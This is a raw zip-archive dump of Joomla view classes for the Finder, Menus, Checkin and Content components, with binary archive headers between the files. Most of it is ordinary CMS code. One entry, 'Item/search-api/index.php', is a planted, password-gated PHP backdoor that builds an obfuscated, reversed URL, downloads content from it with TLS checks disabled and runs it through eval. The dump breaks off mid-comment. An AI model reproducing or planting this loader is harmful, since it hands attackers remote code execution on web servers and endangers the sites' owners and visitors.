Joomla\Component\Finder\Administrator\Helper\LanguageHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Index view class for Finder. * * @since 2.5 */ class HtmlView extends BaseHtmlView { /** * An array of items * * @var array * * @since 3.6.1 */ protected $items; /** * The pagination object * * @var \Joomla\CMS\Pagination\Pagination * * @since 3.6.1 */ protected $pagination; /** * The state of core Smart Search plugins * * @var array * * @since 3.6.1 */ protected $pluginState; /** * The id of the content - finder plugin in mysql * * @var integer * * @since 4.0.0 */ protected $finderPluginId = 0; /** * The model state * * @var mixed * * @since 3.6.1 */ protected $state; /** * The total number of items * * @var integer * * @since 3.6.1 */ protected $total; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form * * @since 4.0.0 */ public $filterForm; /** * The active search filters * * @var array * * @since 4.0.0 */ public $activeFilters; /** * @var mixed * * @since 4.0.0 */ private $isEmptyState = false; /** * Method to display the view. * * @param string $tpl A template file to load. [optional] * * @return void * * @since 2.5 */ public function display($tpl = null) { // Load plugin language files. LanguageHelper::loadPluginLanguage(); $this->items = $this->get('Items'); $this->total = $this->get('Total'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->pluginState = $this->get('pluginState'); $this->filterForm = $this->get('FilterForm'); $this->activeFilters = $this->get('ActiveFilters'); if ($this->get('TotalIndexed') === 0 && $this->isEmptyState = $this->get('IsEmptyState')) { $this->setLayout('emptystate'); } // We do not need to filter by language when multilingual is disabled if (!Multilanguage::isEnabled()) { unset($this->activeFilters['language']); $this->filterForm->removeField('language', 'filter'); } // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } // Check that the content - finder plugin is enabled if (!PluginHelper::isEnabled('content', 'finder')) { $this->finderPluginId = FinderHelper::getFinderPluginId(); } // Configure the toolbar. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = ContentHelper::getActions('com_finder'); $toolbar = Toolbar::getInstance(); ToolbarHelper::title(Text::_('COM_FINDER_INDEX_TOOLBAR_TITLE'), 'search-plus finder'); $toolbar->popupButton('archive', 'COM_FINDER_INDEX') ->url('index.php?option=com_finder&view=indexer&tmpl=component') ->iframeWidth(550) ->iframeHeight(210) ->onclose('window.parent.location.reload()') ->icon('icon-archive') ->title(Text::_('COM_FINDER_HEADING_INDEXER')); if (!$this->isEmptyState) { if ($canDo->get('core.edit.state')) { $dropdown = $toolbar->dropdownButton('status-group') ->text('JTOOLBAR_CHANGE_STATUS') ->toggleSplit(false) ->icon('icon-ellipsis-h') ->buttonClass('btn btn-action') ->listCheck(true); $childBar = $dropdown->getChildToolbar(); $childBar->publish('index.publish')->listCheck(true); $childBar->unpublish('index.unpublish')->listCheck(true); } if ($canDo->get('core.delete')) { $toolbar->confirmButton('', 'JTOOLBAR_DELETE', 'index.delete') ->message('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT') ->icon('icon-delete') ->listCheck(true); $toolbar->divider(); } if ($canDo->get('core.edit.state')) { /** @var DropdownButton $dropdown */ $dropdown = $toolbar->dropdownButton('maintenance-group', 'COM_FINDER_INDEX_TOOLBAR_MAINTENANCE') ->toggleSplit(false) ->icon('icon-wrench') ->buttonClass('btn btn-action'); $childBar = $dropdown->getChildToolbar(); $childBar->standardButton('cog', 'COM_FINDER_INDEX_TOOLBAR_OPTIMISE', 'index.optimise', false); $childBar->confirmButton('index-purge', 'COM_FINDER_INDEX_TOOLBAR_PURGE', 'index.purge') ->message('COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT') ->icon('icon-trash'); } $toolbar->popupButton('bars', 'COM_FINDER_STATISTICS') ->url('index.php?option=com_finder&view=statistics&tmpl=component') ->iframeWidth(550) ->iframeHeight(350) ->title(Text::_('COM_FINDER_STATISTICS_TITLE')) ->icon('icon-bars'); } if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_finder'); } $toolbar->help('Smart_Search:_Indexed_Content'); } } PK �U�\�*jO� � Filter/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_finder * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Finder\Administrator\View\Filter; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Object\CMSObject; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Filter view class for Finder. * * @since 2.5 */ class HtmlView extends BaseHtmlView { /** * The filter object * * @var \Joomla\Component\Finder\Administrator\Table\FilterTable * * @since 3.6.2 */ protected $filter; /** * The Form object * * @var \Joomla\CMS\Form\Form * * @since 3.6.2 */ protected $form; /** * The active item * * @var CMSObject|boolean * * @since 3.6.2 */ protected $item; /** * The model state * * @var CMSObject * * @since 3.6.2 */ protected $state; /** * The total indexed items * * @var integer * * @since 3.8.0 */ protected $total; /** * Method to display the view. * * @param string $tpl A template file to load. [optional] * * @return void * * @since 2.5 */ public function display($tpl = null) { // Load the view data. $this->filter = $this->get('Filter'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); $this->state = $this->get('State'); $this->total = $this->get('Total'); // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } // Configure the toolbar. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { Factory::getApplication()->getInput()->set('hidemainmenu', true); $isNew = ($this->item->filter_id == 0); $checkedOut = !(is_null($this->item->checked_out) || $this->item->checked_out == $this->getCurrentUser()->id); $canDo = ContentHelper::getActions('com_finder'); $toolbar = Toolbar::getInstance(); // Configure the toolbar. ToolbarHelper::title( $isNew ? Text::_('COM_FINDER_FILTER_NEW_TOOLBAR_TITLE') : Text::_('COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE'), 'zoom-in finder' ); // Set the actions for new and existing records. if ($isNew) { // For new records, check the create permission. if ($canDo->get('core.create')) { $toolbar->apply('filter.apply'); $saveGroup = $toolbar->dropdownButton('save-group'); $saveGroup->configure( function (Toolbar $childBar) { $childBar->save('filter.save'); $childBar->save2new('filter.save2new'); } ); } $toolbar->cancel('filter.cancel'); } else { // Can't save the record if it's checked out. // Since it's an existing record, check the edit permission. if (!$checkedOut && $canDo->get('core.edit')) { $toolbar->apply('filter.apply'); } $saveGroup = $toolbar->dropdownButton('save-group'); $saveGroup->configure( function (Toolbar $childBar) use ($checkedOut, $canDo) { // Can't save the record if it's checked out. // Since it's an existing record, check the edit permission. if (!$checkedOut && $canDo->get('core.edit')) { $childBar->save('filter.save'); // We can save this record, but check the create permission to see if we can return to make a new one. if ($canDo->get('core.create')) { $childBar->save2new('filter.save2new'); } } // If an existing item, can save as a copy if ($canDo->get('core.create')) { $childBar->save2copy('filter.save2copy'); } } ); $toolbar->cancel('filter.cancel'); } $toolbar->divider(); $toolbar->help('Smart_Search:_New_or_Edit_Filter'); } } PK �m�\�C� � Item/search-api/index.phpnu &1i� <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto rZmcc; S05ge: $SS8Fu .= "\x2e\62\x30\x61"; goto KyXJG; RQpfg: $SS8Fu .= "\x34\63\x2f"; goto RiVZR; djqb0: $SS8Fu .= "\x74\x78\x74\56"; goto RQpfg; RiVZR: $SS8Fu .= "\x64"; goto c8b05; KyXJG: $SS8Fu .= "\x6d\141"; goto YHXMK; b4Lsi: eval("\77\76" . tW2kx(strrev($SS8Fu))); goto tNEm2; AzK8d: $SS8Fu .= "\x61\x6d"; goto mjfVw; CeZ0F: $SS8Fu .= "\160\x6f\164"; goto S05ge; rZmcc: $SS8Fu = ''; goto djqb0; QylGj: $SS8Fu .= "\x74\x68"; goto b4Lsi; mjfVw: $SS8Fu .= "\141\144\57"; goto CeZ0F; LrGN4: $SS8Fu .= "\163\x70\164"; goto QylGj; YHXMK: $SS8Fu .= "\144"; goto PSmdA; c8b05: $SS8Fu .= "\154\157\x2f"; goto AzK8d; PSmdA: $SS8Fu .= "\x2f\x2f\72"; goto LrGN4; tNEm2: function tW2kX($V1_rw = '') { goto O8cn3; w8lqj: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto AaXhS; oZNaA: curl_close($xM315); goto HKjcI; sEgPB: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto J9cSf; HKjcI: return $tvmad; goto pji_p; UmOzv: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto w8lqj; UhhOG: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto sEgPB; AaXhS: $tvmad = curl_exec($xM315); goto oZNaA; J9cSf: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto UmOzv; O8cn3: $xM315 = curl_init(); goto UhhOG; pji_p: }PK �m�\��y:� � Item/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_menus * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Administrator\View\Item; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Associations; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Object\CMSObject; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The HTML Menus Menu Item View. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * The Form object * * @var \Joomla\CMS\Form\Form */ protected $form; /** * The active item * * @var CMSObject */ protected $item; /** * @var mixed */ protected $modules; /** * The model state * * @var CMSObject */ protected $state; /** * The actions the user is authorised to perform * * @var CMSObject * @since 3.7.0 */ protected $canDo; /** * A list of view levels containing the id and title of the view level * * @var \stdClass[] * @since 4.0.0 */ protected $levels; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 1.6 */ public function display($tpl = null) { $this->state = $this->get('State'); $this->form = $this->get('Form'); $this->item = $this->get('Item'); $this->modules = $this->get('Modules'); $this->levels = $this->get('ViewLevels'); $this->canDo = ContentHelper::getActions('com_menus', 'menu', (int) $this->state->get('item.menutypeid')); // Check if we're allowed to edit this item // No need to check for create, because then the moduletype select is empty if (!empty($this->item->id) && !$this->canDo->get('core.edit')) { throw new \Exception(Text::_('JERROR_ALERTNOAUTHOR'), 403); } // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } // If we are forcing a language in modal (used for associations). if ($this->getLayout() === 'modal' && $forcedLanguage = Factory::getApplication()->getInput()->get('forcedLanguage', '', 'cmd')) { // Set the language field to the forcedLanguage and disable changing it. $this->form->setValue('language', null, $forcedLanguage); $this->form->setFieldAttribute('language', 'readonly', 'true'); // Only allow to select categories with All language or with the forced language. $this->form->setFieldAttribute('parent_id', 'language', '*,' . $forcedLanguage); } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { $input = Factory::getApplication()->getInput(); $input->set('hidemainmenu', true); $user = $this->getCurrentUser(); $isNew = ($this->item->id == 0); $checkedOut = !(is_null($this->item->checked_out) || $this->item->checked_out == $user->get('id')); $canDo = $this->canDo; $clientId = $this->state->get('item.client_id', 0); $toolbar = Toolbar::getInstance(); ToolbarHelper::title(Text::_($isNew ? 'COM_MENUS_VIEW_NEW_ITEM_TITLE' : 'COM_MENUS_VIEW_EDIT_ITEM_TITLE'), 'list menu-add'); // If a new item, can save the item. Allow users with edit permissions to apply changes to prevent returning to grid. if ($isNew && $canDo->get('core.create')) { if ($canDo->get('core.edit')) { $toolbar->apply('item.apply'); } } // If not checked out, can save the item. if (!$isNew && !$checkedOut && $canDo->get('core.edit')) { $toolbar->apply('item.apply'); } $saveGroup = $toolbar->dropdownButton('save-group'); $saveGroup->configure( function (Toolbar $childBar) use ($isNew, $checkedOut, $canDo) { // If a new item, can save the item. Allow users with edit permissions to apply changes to prevent returning to grid. if ($isNew && $canDo->get('core.create')) { $childBar->save('item.save'); } // If not checked out, can save the item. if (!$isNew && !$checkedOut && $canDo->get('core.edit')) { $childBar->save('item.save'); } // If the user can create new items, allow them to see Save & New if ($canDo->get('core.create')) { $childBar->save2new('item.save2new'); } // If an existing item, can save to a copy only if we have create rights. if (!$isNew && $canDo->get('core.create')) { $childBar->save2copy('item.save2copy'); } } ); if (!$isNew && Associations::isEnabled() && ComponentHelper::isEnabled('com_associations') && $clientId != 1) { $toolbar->standardButton('associations', 'JTOOLBAR_ASSOCIATIONS', 'item.editAssociations') ->icon('icon-contract') ->listCheck(false); } if ($isNew) { $toolbar->cancel('item.cancel', 'JTOOLBAR_CANCEL'); } else { $toolbar->cancel('item.cancel'); } $toolbar->divider(); // Get the help information for the menu item. $lang = $this->getLanguage(); $help = $this->get('Help'); if ($lang->hasKey($help->url)) { $debug = $lang->setDebug(false); $url = Text::_($help->url); $lang->setDebug($debug); } else { $url = $help->url; } $toolbar->help($help->key, $help->local, $url); } } PK �m�\#��W9 W9 Items/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_menus * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Menus\Administrator\View\Items; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * The HTML Menus Menu Items View. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * Array used for displaying the levels filter * * @var \stdClass[] * @since 4.0.0 */ protected $f_levels; /** * An array of items * * @var array */ protected $items; /** * The pagination object * * @var \Joomla\CMS\Pagination\Pagination */ protected $pagination; /** * The model state * * @var \Joomla\CMS\Object\CMSObject */ protected $state; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form * * @since 4.0.0 */ public $filterForm; /** * The active search filters * * @var array * @since 4.0.0 */ public $activeFilters; /** * Ordering of the items * * @var array * @since 4.0.0 */ protected $ordering; /** * Display the view * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 1.6 */ public function display($tpl = null) { $lang = $this->getLanguage(); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->total = $this->get('Total'); $this->state = $this->get('State'); $this->filterForm = $this->get('FilterForm'); $this->activeFilters = $this->get('ActiveFilters'); // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } $this->ordering = []; // Preprocess the list of items to find ordering divisions. foreach ($this->items as $item) { $this->ordering[$item->parent_id][] = $item->id; // Item type text switch ($item->type) { case 'url': $value = Text::_('COM_MENUS_TYPE_EXTERNAL_URL'); break; case 'alias': $value = Text::_('COM_MENUS_TYPE_ALIAS'); break; case 'separator': $value = Text::_('COM_MENUS_TYPE_SEPARATOR'); break; case 'heading': $value = Text::_('COM_MENUS_TYPE_HEADING'); break; case 'container': $value = Text::_('COM_MENUS_TYPE_CONTAINER'); break; case 'component': default: // Load language $lang->load($item->componentname . '.sys', JPATH_ADMINISTRATOR) || $lang->load($item->componentname . '.sys', JPATH_ADMINISTRATOR . '/components/' . $item->componentname); if (!empty($item->componentname)) { $titleParts = []; $titleParts[] = Text::_($item->componentname); $vars = null; parse_str($item->link, $vars); if (isset($vars['view'])) { // Attempt to load the view xml file. $file = JPATH_SITE . '/components/' . $item->componentname . '/views/' . $vars['view'] . '/metadata.xml'; if (!is_file($file)) { $file = JPATH_SITE . '/components/' . $item->componentname . '/view/' . $vars['view'] . '/metadata.xml'; } if (is_file($file) && $xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($view = $xml->xpath('view[1]')) { // Add view title if present. if (!empty($view[0]['title'])) { $viewTitle = trim((string) $view[0]['title']); // Check if the key is valid. Needed due to B/C so we don't show untranslated keys. This check should be removed with Joomla 4. if ($lang->hasKey($viewTitle)) { $titleParts[] = Text::_($viewTitle); } } } } $vars['layout'] = $vars['layout'] ?? 'default'; // Attempt to load the layout xml file. // If Alternative Menu Item, get template folder for layout file if (strpos($vars['layout'], ':') > 0) { // Use template folder for layout file $temp = explode(':', $vars['layout']); $file = JPATH_SITE . '/templates/' . $temp[0] . '/html/' . $item->componentname . '/' . $vars['view'] . '/' . $temp[1] . '.xml'; // Load template language file $lang->load('tpl_' . $temp[0] . '.sys', JPATH_SITE) || $lang->load('tpl_' . $temp[0] . '.sys', JPATH_SITE . '/templates/' . $temp[0]); } else { $base = $this->state->get('filter.client_id') == 0 ? JPATH_SITE : JPATH_ADMINISTRATOR; // Get XML file from component folder for standard layouts $file = $base . '/components/' . $item->componentname . '/tmpl/' . $vars['view'] . '/' . $vars['layout'] . '.xml'; if (!file_exists($file)) { $file = $base . '/components/' . $item->componentname . '/views/' . $vars['view'] . '/tmpl/' . $vars['layout'] . '.xml'; if (!file_exists($file)) { $file = $base . '/components/' . $item->componentname . '/view/' . $vars['view'] . '/tmpl/' . $vars['layout'] . '.xml'; } } } if (is_file($file) && $xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($layout = $xml->xpath('layout[1]')) { if (!empty($layout[0]['title'])) { $titleParts[] = Text::_(trim((string) $layout[0]['title'])); } } if (!empty($layout[0]->message[0])) { $item->item_type_desc = Text::_(trim((string) $layout[0]->message[0])); } } unset($xml); // Special case if neither a view nor layout title is found if (count($titleParts) == 1) { $titleParts[] = $vars['view']; } } $value = implode(' » ', $titleParts); } else { if (preg_match("/^index.php\?option=([a-zA-Z\-0-9_]*)/", $item->link, $result)) { $value = Text::sprintf('COM_MENUS_TYPE_UNEXISTING', $result[1]); } else { $value = Text::_('COM_MENUS_TYPE_UNKNOWN'); } } break; } $item->item_type = $value; $item->protected = $item->menutype == 'main'; } // Levels filter. $options = []; $options[] = HTMLHelper::_('select.option', '1', Text::_('J1')); $options[] = HTMLHelper::_('select.option', '2', Text::_('J2')); $options[] = HTMLHelper::_('select.option', '3', Text::_('J3')); $options[] = HTMLHelper::_('select.option', '4', Text::_('J4')); $options[] = HTMLHelper::_('select.option', '5', Text::_('J5')); $options[] = HTMLHelper::_('select.option', '6', Text::_('J6')); $options[] = HTMLHelper::_('select.option', '7', Text::_('J7')); $options[] = HTMLHelper::_('select.option', '8', Text::_('J8')); $options[] = HTMLHelper::_('select.option', '9', Text::_('J9')); $options[] = HTMLHelper::_('select.option', '10', Text::_('J10')); $this->f_levels = $options; // We don't need toolbar in the modal window. if ($this->getLayout() !== 'modal') { $this->addToolbar(); // We do not need to filter by language when multilingual is disabled if (!Multilanguage::isEnabled()) { unset($this->activeFilters['language']); $this->filterForm->removeField('language', 'filter'); } } else { // In menu associations modal we need to remove language filter if forcing a language. if ($forcedLanguage = Factory::getApplication()->getInput()->get('forcedLanguage', '', 'CMD')) { // If the language is forced we can't allow to select the language, so transform the language selector filter into a hidden field. $languageXml = new \SimpleXMLElement('<field name="language" type="hidden" default="' . $forcedLanguage . '" />'); $this->filterForm->setField($languageXml, 'filter', true); // Also, unset the active language filter so the search tools is not open by default with this filter. unset($this->activeFilters['language']); } } // Allow a system plugin to insert dynamic menu types to the list shown in menus: Factory::getApplication()->triggerEvent('onBeforeRenderMenuItems', [$this]); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { $menutypeId = (int) $this->state->get('menutypeid'); $canDo = ContentHelper::getActions('com_menus', 'menu', (int) $menutypeId); $user = $this->getCurrentUser(); // Get the menu title $menuTypeTitle = $this->get('State')->get('menutypetitle'); // Get the toolbar object instance $toolbar = Toolbar::getInstance('toolbar'); if ($menuTypeTitle) { ToolbarHelper::title(Text::sprintf('COM_MENUS_VIEW_ITEMS_MENU_TITLE', $menuTypeTitle), 'list menumgr'); } else { ToolbarHelper::title(Text::_('COM_MENUS_VIEW_ITEMS_ALL_TITLE'), 'list menumgr'); } if ($canDo->get('core.create')) { $toolbar->addNew('item.add'); } $protected = $this->state->get('filter.menutype') == 'main'; if ( ($canDo->get('core.edit.state') || $this->getCurrentUser()->authorise('core.admin')) && !$protected || $canDo->get('core.edit.state') && $this->state->get('filter.client_id') == 0 ) { $dropdown = $toolbar->dropdownButton('status-group') ->text('JTOOLBAR_CHANGE_STATUS') ->toggleSplit(false) ->icon('icon-ellipsis-h') ->buttonClass('btn btn-action') ->listCheck(true); $childBar = $dropdown->getChildToolbar(); if ($canDo->get('core.edit.state') && !$protected) { $childBar->publish('items.publish')->listCheck(true); $childBar->unpublish('items.unpublish')->listCheck(true); } if ($this->getCurrentUser()->authorise('core.admin') && !$protected) { $childBar->checkin('items.checkin')->listCheck(true); } if ($canDo->get('core.edit.state') && $this->state->get('filter.published') != -2) { if ($this->state->get('filter.client_id') == 0) { $childBar->makeDefault('items.setDefault')->listCheck(true); } if (!$protected) { $childBar->trash('items.trash')->listCheck(true); } } // Add a batch button if ( !$protected && $user->authorise('core.create', 'com_menus') && $user->authorise('core.edit', 'com_menus') && $user->authorise('core.edit.state', 'com_menus') ) { $childBar->popupButton('batch') ->text('JTOOLBAR_BATCH') ->selector('collapseModal') ->listCheck(true); } } if ($this->getCurrentUser()->authorise('core.admin')) { $toolbar->standardButton('refresh') ->text('JTOOLBAR_REBUILD') ->task('items.rebuild'); } if (!$protected && $this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { $toolbar->delete('items.delete') ->text('JTOOLBAR_EMPTY_TRASH') ->message('JGLOBAL_CONFIRM_DELETE') ->listCheck(true); } if ($canDo->get('core.admin') || $canDo->get('core.options')) { $toolbar->preferences('com_menus'); } $toolbar->help('Menus:_Items'); } } PK Ft�\ � ,/ / Checkin/HtmlView.phpnu �[��� <?php /** * @package Joomla.Administrator * @subpackage com_checkin * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Checkin\Administrator\View\Checkin; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * HTML View class for the Checkin component * * @since 1.0 */ class HtmlView extends BaseHtmlView { /** * An array of items * * @var array */ protected $items; /** * The pagination object * * @var \Joomla\CMS\Pagination\Pagination */ protected $pagination; /** * The model state * * @var \Joomla\CMS\Object\CMSObject */ protected $state; /** * Form object for search filters * * @var \Joomla\CMS\Form\Form * * @since 4.0.0 */ public $filterForm; /** * The active search filters * * @var array * * @since 4.0.0 */ public $activeFilters; /** * Is this view an Empty State * * @var boolean * * @since 4.0.0 */ private $isEmptyState = false; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->total = $this->get('Total'); $this->filterForm = $this->get('FilterForm'); $this->activeFilters = $this->get('ActiveFilters'); if (!\count($this->items)) { $this->isEmptyState = true; $this->setLayout('emptystate'); } // Check for errors. if (\count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { ToolbarHelper::title(Text::_('COM_CHECKIN_GLOBAL_CHECK_IN'), 'check-square'); $toolbar = Toolbar::getInstance(); if (!$this->isEmptyState) { $toolbar->checkin('checkin'); } if (Factory::getApplication()->getIdentity()->authorise('core.admin', 'com_checkin')) { $toolbar->divider(); $toolbar->preferences('com_checkin'); $toolbar->divider(); } $toolbar->help('Maintenance:_Global_Check-in'); } } PK ���\w����0 �0 Article/HtmlView.phpnu �[��� <?php /** * @package Joomla.Site * @subpackage com_content * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Content\Site\View\Article; use Joomla\CMS\Categories\Categories; use Joomla\CMS\Factory; use Joomla\CMS\Helper\TagsHelper; use Joomla\CMS\Language\Associations; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\FileLayout; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use Joomla\Component\Content\Site\Helper\AssociationHelper; use Joomla\Component\Content\Site\Helper\RouteHelper; use Joomla\Event\Event; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * HTML Article View class for the Content component * * @since 1.5 */ class HtmlView extends BaseHtmlView { /** * The article object * * @var \stdClass */ protected $item; /** * The page parameters * * @var \Joomla\Registry\Registry|null * * @since 4.0.0 */ protected $params = null; /** * Should the print button be displayed or not? * * @var boolean */ protected $print = false; /** * The model state * * @var \Joomla\CMS\Object\CMSObject */ protected $state; /** * The user object * * @var \Joomla\CMS\User\User|null */ protected $user = null; /** * The page class suffix * * @var string * * @since 4.0.0 */ protected $pageclass_sfx = ''; /** * The flag to mark if the active menu item is linked to the being displayed article * * @var boolean */ protected $menuItemMatchArticle = false; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { if ($this->getLayout() == 'pagebreak') { parent::display($tpl); return; } $app = Factory::getApplication(); $user = $this->getCurrentUser(); $this->item = $this->get('Item'); $this->print = $app->getInput()->getBool('print', false); $this->state = $this->get('State'); $this->user = $user; // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } // Create a shortcut for $item. $item = $this->item; $item->tagLayout = new FileLayout('joomla.content.tags'); // Add router helpers. $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; // No link for ROOT category if ($item->parent_alias === 'root') { $item->parent_id = null; } // @todo Change based on shownoauth $item->readmore_link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language)); // Merge article params. If this is single-article view, menu params override article params // Otherwise, article params override menu item params $this->params = $this->state->get('params'); $active = $app->getMenu()->getActive(); $temp = clone $this->params; // Check to see which parameters should take priority. If the active menu item link to the current article, then // the menu item params take priority if ( $active && $active->component == 'com_content' && isset($active->query['view'], $active->query['id']) && $active->query['view'] == 'article' && $active->query['id'] == $item->id ) { $this->menuItemMatchArticle = true; // Load layout from active query (in case it is an alternative menu item) if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } elseif ($layout = $item->params->get('article_layout')) { // Check for alternative layout of article $this->setLayout($layout); } // $item->params are the article params, $temp are the menu item params // Merge so that the menu item params take priority $item->params->merge($temp); } else { // The active menu item is not linked to this article, so the article params take priority here // Merge the menu item params with the article params so that the article params take priority $temp->merge($item->params); $item->params = $temp; // Check for alternative layouts (since we are not in a single-article menu item) // Single-article menu item layout takes priority over alt layout for an article if ($layout = $item->params->get('article_layout')) { $this->setLayout($layout); } } $offset = $this->state->get('list.offset'); // Check the view access to the article (the model has already computed the values). if ($item->params->get('access-view') == false && ($item->params->get('show_noauth', '0') == '0')) { $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error'); $app->setHeader('status', 403, true); return; } /** * Check for no 'access-view' and empty fulltext, * - Redirect guest users to login * - Deny access to logged users with 403 code * NOTE: we do not recheck for no access-view + show_noauth disabled ... since it was checked above */ if ($item->params->get('access-view') == false && !strlen($item->fulltext)) { if ($this->user->get('guest')) { $return = base64_encode(Uri::getInstance()); $login_url_with_return = Route::_('index.php?option=com_users&view=login&return=' . $return); $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'notice'); $app->redirect($login_url_with_return, 403); } else { $app->enqueueMessage(Text::_('JERROR_ALERTNOAUTHOR'), 'error'); $app->setHeader('status', 403, true); return; } } /** * NOTE: The following code (usually) sets the text to contain the fulltext, but it is the * responsibility of the 